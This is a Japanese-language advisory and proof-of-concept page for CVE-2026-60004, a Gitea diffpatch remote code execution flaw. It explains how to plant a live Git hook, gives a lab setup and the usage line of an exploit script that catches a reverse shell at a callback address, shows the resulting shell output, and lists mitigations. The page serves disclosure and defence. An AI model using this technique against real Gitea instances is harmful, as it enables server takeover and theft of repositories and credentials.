アップデート一覧に戻る
UpdatedAug 7, 2026

CVE-2026-60004 — Updated!

Gitea diffpatch RCE

共有

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch GitフックRCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


概要

CVE-2026-60004 は、Gitea における リモートコード実行(RCE) の脆弱性です。 diffpatch APIは、提供されたパッチを git apply --cached で適用します。これはインデックスのみに影響し、ディスク上にファイルを書き込むことはないはずです。 同じパッチを2回送信することで、攻撃者は add/add の衝突を強制し、Gitのスリーマージフォールバック(-3 をトリガーします。このパスは --cached を無視し、ファイルを作業ツリーにチェックアウトします。 一時クローンはベアであるため、その作業ツリーのルートは $GIT_DIR になります。したがって、実行可能な hooks/post-index-change を作成するパッチは、ライブなGitフックを配置し、Gitは次のインデックス更新時にそれを自動的に実行します — Giteaサービスアカウントとしてコマンドを実行します。 このエンドポイントにはリポジトリへの書き込みアクセスが必要ですが、登録はデフォルトで有効であるため、サインアップしてリポジトリを作成できるユーザーは誰でも到達できます。


影響を受けるバージョン

カテゴリバージョン
脆弱Gitea 1.17 ≤ バージョン ≤ 1.27.0
修正済みGitea 1.27.1 以降

影響

  • Giteaサービスアカウント(git)としてのリモートコード実行
  • ホストされているすべてのリポジトリ、CIシークレット、データベース認証情報へのアクセス

環境

脆弱なGitea環境をビルドして実行します。登録は開放されたままで、サーバーにはGit 2.32+が同梱されており、攻撃が依存する -3 フォールバックが有効になります。

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
前提条件このラボでの状態
Gitea 1.17 – 1.27.01.27.0
サーバー上のGit 2.32+(-3 を有効化)2.54
オープン登録有効(デフォルト)
リポジトリへの書き込みアクセス自己登録アカウント経由

PoC

このエクスプロイトは gitea_exploit.py によって完全に自動化されています。リポジトリを作成できるアカウントがあれば、ターゲットリポジトリを作成し、Gitの -3 フォールバックが発動するまで同じパッチを繰り返し送信し、組み込みリスナーでリバースシェルをキャッチします — 手動セットアップ、パッチ作成、blobハッシュ計算は不要です。

# python3 gitea_exploit.py <ターゲットip:port> <コールバックip> [コールバックport]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 フォールバックは特定のタイミングウィンドウでのみ発動するため、スクリプトはキャッチするまで create → send → send をループします(デフォルト25回試行)。送信がブロックされた場合、フックが発動し、リスナーが git としてシェルにドロップします:

[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

オプション:

  • --no-listen — 組み込みリスナーの代わりに、独自の外部 nc でシェルをキャッチ
  • --user / --pw / --repo / --branch — デフォルトのアカウントとターゲットリポジトリを上書き

緩和策

  • Giteaを1.27.1以降にアップグレード
  • 不要な場合はオープン登録を無効化(DISABLE_REGISTRATION=true
  • インスタンスに到達してリポジトリを作成できるユーザーを制限

分析

  • KR: 近日公開!
  • EN:

カテゴリ